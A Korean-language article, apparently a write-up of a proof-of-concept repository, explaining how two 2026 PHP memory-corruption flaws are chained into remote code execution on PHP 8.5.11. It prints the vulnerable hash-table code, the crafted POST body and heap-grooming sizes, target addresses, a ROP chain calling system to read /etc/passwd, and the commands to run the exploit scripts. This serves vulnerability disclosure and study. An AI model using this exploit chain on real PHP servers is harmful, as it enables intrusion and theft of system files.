
actual-php2shell는 PHP 8.5.11(2026년 10월 보안 권고 대상)을 겨냥한 재현 가능한 애플리케이션 비종속 원격 코드 실행(PoC)이다. 저장소는 2026년 PHP 메모리 손상 취약점 두 건을 이용해 애플리케이션 코드 없이 system("cat /etc/passwd")를 실행한다고 설명한다. 피해자의 index.php는 ok를 출력하기만 한다.
- CVE-2026-109618은 메모리 부족(OOM)으로
longjmp가 실행돼 미완성HashTable이 남고, 종료 과정에서 해제되는 취약점이다. 저장소는 이를 원격 코드 실행의 기반으로 제시한다. - CVE-2026-109619는 요청 소유 오류 상태인 치명적 오류 백트레이스가 요청 종료 뒤에도 남아 다음 요청에서 다시 해제되는 취약점이다. 저장소는 이를 정보 유출 및 ASLR 우회 기반으로 설명하며, 별도의 데모를 제공한다.
모든 절차는 Podman 컨테이너에서 재현할 수 있다. 저장소가 확인했다고 밝힌 종단 간 결과는 ./exploits/cve-2026-109618-oom/rce.py가 /etc/passwd를 읽는 것이다.
CVE-2026-109618 취약점
취약점 설명에 따르면 PHP의 메모리가 부족해지면 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp) 순서로 실행된다. PHP 8.5.11에서는 해시 테이블 삽입이 할당 실패를 처리할 수 없는 방식으로 이뤄져, 메모리 부족으로 실행이 되돌아갈 때 HashTable이 중간 상태로 남을 수 있다.
문제가 되는 코드는 _zend_hash_str_add_or_update_i()의 add_to_hash 부분이다(Zend/zend_hash.c:960).
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
키를 복사하는 zend_string_init에서 메모리 부족이 발생하면 버킷 p에는 값이 기록되지 않은 채(key/h/val은 이전 데이터) nNumUsed만 증가한다. 요청 종료 때 zend_array_destroy()는 nNumUsed개 버킷을 순회하고, 기록되지 않은 버킷의 쓰레기 값인 val에 i_zval_ptr_dtor(&p->val)을 호출한다. 저장소에 따르면 공격자는 이 값을 조작할 수 있다. PHP 8.5.12에서는 해당 할당들을 실패를 처리할 수 있는 femalloc/fperealloc2와 HASH_FALLIBLE로 바꿔, 중단 대신 삽입이 정상적으로 실패하도록 수정했다.
객체 그래프와 힙 배치
객체 그래프와 힙 배치 설명에 따르면 공격의 핵심은 OOM이 발생하는 마지막 버킷을 가진 HashTable의 arData가 되도록, 조작 가능한 2560바이트 블록 하나를 배치하는 것이다. 관련 객체와 메모리 크기, 역할은 다음과 같다.
| 유형·변수 | 크기 | 역할 |
|---|---|---|
zend_array (HashTable) 헤더 | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); 기록되지 않은 버킷이 표적 |
zval | 16 B | value(8) + u1.type_info(4) + u2(4); type_info를 설정 |
zend_string | 헤더 24 B + 데이터 | 패딩 값이며 길이가 할당기 구간을 선택 |
zend_object | 56 B | 가짜 객체: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj가 전환 가젯 |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[](구간 28 = 2560 B) |
힙 배치의 전제가 되는 할당기 특성은 두 가지다.
- 64개 버킷을 가진 테이블의
arData크기는 2560바이트로 구간 28에 해당한다.HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560이며,HT_SIZE_TO_MASK(n) = -(2n)이다. b150(순회되는 테이블)과b0e0(폐기되는 테이블)은 심볼 테이블의SEPARATE_ARRAY/간접 참조 경로에서 만들어지는$_POST["a"]의 두 복사본이다. 각a[<large>][c]=v필드는 두 복사본 모두에<large>키를 삽입하며,b0e0이 항상 키 하나 앞선다.php_request_shutdown에서 파괴되는 것은b150뿐이므로 OOM은b150에서 발생해야 한다.
전체 공격 과정
전체 과정과 rce.py에서 제시한 요청 본문은 URL 인코딩된 POST다.
memshift=<40 KB of M>& a[X…0000000000000000][c]=v& … (30 fields) pad=<crafted 2528 B>& pad=x& a[X…0000000000000030][c]=v& … (fields 30..59)
memshift(약 40 KB)는 OOM이 OOM 필드의 첫 삽입에서 발생하도록 메모리를 소모한다. 따라서 OOM은 폐기되는b0e0이 아니라 순회되는 테이블b150에 걸린다.pad=<2528 B>에서는add_post_var가estrndup(A)를 호출한 뒤ZVAL_STRINGL_FAST(B, copy)를 실행한다. 측정 결과B = padlen + 32다. 따라서padlen=2528이면A = 2529,B = 2560이 돼 둘 다 구간 28에 들어간다.A는estrndup경로에서 해제된다.- 중복 키인
pad=x는 보존된 복사본B를 소멸자(DTOR)로 해제해, 서로 다른 구간 28 슬롯을 두 번째로 비운다. 이제b150이 32개에서 64개 버킷으로 크기를 늘릴 때B를 재사용하므로 조작한 바이트가b150의arData가 된다. - 패딩 바이트는 페이로드가
arData의 조작 가능한 끝부분인 버킷 46~63, 원시 오프셋 1984 이상에 오도록 배치한다.zend_hash_rehash가 다시 쓰는 해시 배열인 오프셋0x100에는 두지 않는다. - 기록되지 않은 버킷(원시 오프셋 1952, 패딩 오프셋 1928)은
IS_OBJECT로 설정하고value.obj = &fake_object를 지정한다. - 종료 과정에서 해당 버킷을 순회하며
i_zval_ptr_dtor→rc_dtor_func→zend_objects_store_del을 호출한다. 이어handlers->free_obj가 전환점이 되고 ROP를 거쳐system("cat /etc/passwd > /var/www/html/leak.txt")를 실행한다. 이후GET /leak.txt로 파일을 가져온다.
rce.py에는 디버깅에 시간이 걸린 미묘한 요구사항 두 가지도 담겨 있다.
- 가짜 객체와 ROP는
arData끝부분에 있어야 한다. 패딩 오프셋0x100은 해시 배열이므로 덮어써진다. __libc_system은 16바이트 정렬을 요구하는movaps를 사용한다. 따라서pop rdi; ret과system사이에 추가ret가젯을 넣어야 한다. 그렇지 않으면execve전에__libc_system내부에서SIGSEGV가 발생한다.
표적 주소
표적 주소와 ASLR 설정에 따르면 아래 주소는 ASLR을 끈 상태(setarch -R)에서 php-rce-oom-debug:8.5.11을 기준으로 측정했다. 기반 이미지 이름은 php-rce-base:8.5.11이다. 기본 빌드에서 libphp와 libc의 기반 주소는 같지만, 힙 오프셋 B는 설치된 라이브러리에 따라 달라진다. gdb 설치로도 이동했으므로 다른 이미지에서는 B를 다시 측정하거나, ASLR을 켤 때는 정보 유출을 통해 알아내야 한다.
| 기호 | 주소 |
|---|---|
libphp 기반 주소 | 0x7ffff4400000 |
libc 기반 주소 | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+ 0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+ 0x277e5) |
ret | 0x7ffff7cfb7e6 |
전환점(jump_fcontext+0x2e) | 0x7ffff49fb8ae |
주 청크([anon:zend_alloc]) | 0x7ffff7200000 |
B (arData 원시 블록 = b150->arData - 512) | 0x7ffff725e400 |
| 가짜 핸들러 | B + 24 + 2000 = 0x7ffff725ebe8 |
| 가짜 객체 | B + 24 + 2048 = 0x7ffff725ec18 |
cmd 문자열 | B + 24 + 2200 = 0x7ffff725ecb0 |
가짜 객체를 기준으로 한 ROP 체인은 다음과 같다(o는 가짜 객체 주소다).
o+0x40 pop rdi; ret (r8 loaded by the pivot) o+0x48 &cmd (rdi) o+0x50 ret (stack alignment for movaps) o+0x58 system
재현 방법
재현 안내에는 Podman이 필요하다. 저장소 루트에서 다음 명령을 실행하도록 안내한다.
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
예상 출력은 다음과 같다.
[+] RCE: read /etc/passwd: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin …
다른 데모로는 CVE-2026-109619의 오래된 치명적 오류 백트레이스에 따른 UAF 충돌, 정보 유출 및 ASLR 우회 기반, 그리고 패치된 PHP 8.5.12에서 같은 절차를 실행하는 음성 대조가 있다.
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh
저장소 구성과 범위
저장소 구성에는 취약한 PHP 8.2.34/8.3.35/8.4.26/8.5.11 소스 타르볼과, 음성 대조용 패치 버전 8.5.12 타르볼이 포함된다. 참고 자료에는 두 GHSA 권고, 2004년 Esser 권고, php-bug-78876이 있다. 컨테이너는 버전에 따라 설정할 수 있는 Apache 2.4 및 PHP 공통 빌드와 다음 실행 환경으로 구성된다.
cve-2026-109618-oom/:memory_limit=8M인 OOM 피해 환경과 gdb 디버그 계층cve-2026-109619-stale-state/: 오래된 백트레이스 UAF 피해 환경과 gdb 디버그 계층cve-2026-109619-info-leak/: 정보 유출 및 ASLR 우회 피해 환경negative-control/: 같은 설정을 적용한 패치 버전 8.5.12
공격 도구에는 제어된 프레이밍을 위한 원시 소켓 HTTP 클라이언트 lib/client.py, CVE-2026-109618용 exploit.py(트리거), stalealias.py, rce.py, trace.py/trace.sh, CVE-2026-109619 UAF용 producer/consumer/exploit/rop/leak 및 run.sh/trace.sh, 정보 유출용 leak.py/run.sh, 음성 대조 도구가 들어 있다. 문서에는 취약한 소스의 정확한 위치를 다루는 attack-surface.md, 측정한 객체 그래프·ROP·주소를 담은 memory-layout.md, 힙 배치 진행 기록인 heap-feng-shui.md(§8.8–8.16에 RCE 과정 수록), info-leak.md, exploit-plan.md/implementation-plan.md/tasks.md가 있다.
범위와 주의사항에 따르면 이 PoC는 주소를 고정하기 위해 ASLR을 끈 상태(setarch -R)에서 동작한다. ASLR을 켜려면 cve-2026-109619-info-leak 기반으로 힙과 모듈의 주소를 알아내야 한다(docs/info-leak.md). 설치된 라이브러리에 따라 힙이 이동하므로 다른 이미지에서는 gdb 추적기로 B = b150->arData - 512를 다시 측정해야 한다. 피해 애플리케이션은 특정 코드에 종속되지 않으며, index.php는 파일 입출력을 하지 않고 공격 과정에도 관여하지 않는다. 전체 조사 결과와 단계별 할당기 분석은 docs/에 있다.
댓글 (0)
로그인하면 이 기사에 내 생각을 남길 수 있어요